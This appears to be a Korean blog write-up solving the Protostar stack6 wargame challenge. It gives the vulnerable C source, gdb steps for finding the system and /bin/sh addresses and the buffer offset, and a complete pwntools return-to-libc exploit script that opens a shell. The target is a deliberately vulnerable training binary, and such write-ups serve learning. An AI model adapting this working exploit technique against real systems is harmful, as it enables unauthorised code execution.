시스템 해킹

Protostar stack - 6 함정을 지나 ret하기

taktaks 2024. 5. 19. 04:56
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();
}

stack6의 소스코드이다

 

 

 

매우중요

이번부터는 무조건 직접 컴파일 하는게 아닌 프로토스타 iso쪽의 컴파일된 파일들을 무조건사용해야한다

!!!!!!!!!!!!!!!!!!!!!!!!!! 환경등 다 다르기떄문

 

 

 

 

 

 

ret = __builtin_return_address(0);

 

return 이란 값을 builtin_~ 으로 받아온다

return을 가져와서 리턴에 뭐가 들어가는지 점검하는 함수이다.

 

 

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

return을 and 연산을 하고있는것이다 

and 연산을해서 return이 포함되는 bf주소를 가지고 있다면 그것을 무력하게만드는 방법이다.

 

ret and 0xbf000000 똑같은 값이 나오면 안된다. 즉 0xbf000000이 아니도록한다.

 

BF000000 And FFFFFFFF = BF000000

BF가 첫번쨰와 두번쨰에 들어가면 안된다는것이다

 

stack5의 두번쨰 푸는 방법을 활용해서 문제를 해결할 것이다.

 

 

from pwn import *

#system = p32(#시스템주소)
#dummy = p32(0xFFFFFFFF)
#bin_sh = p32(#binsh주소)
offset = 76

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process('./stack5')
p.sendline(payload)
p.interactive()





 

sudo apt-get install lib32z1

 

gdb ./stack6

b *main

run

 

 

disas system

print system

system = 0xf7c4c910

작성중인 python 코드에 넣으며

 

find /bin/sh

/bin/sh의 주소도

 

/bin/sh = 0xf7db5faa 작성중인exploit 코드에 추가하여 작성한다.

 

 

 

disas main

b *main+14

 

pattern create 100

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

 

 

 

run

 

0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.

 

0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.

80번쨰 인것을 확인했다!

 

 

자이제 

system 주소

bin_sh 주소

offset 위치를 확인했으니 exploit 코드를 완성합니다

 

 

 

#!stack5.py

from pwn import *


system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)

offset = 80

payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.

p = process(['stack6'])
p.sendline(payload)
p.interactive()


system 주소

bin_sh 주소

offset 위치를 확인했으니 exploit 코드 완성

최종 exploit 코드이다.!

 

 

 

 

 

 

 

 

 

 

protostack stack6 를 해결했으며 명령어가 성공적으로 입력된다.

 

 

!!!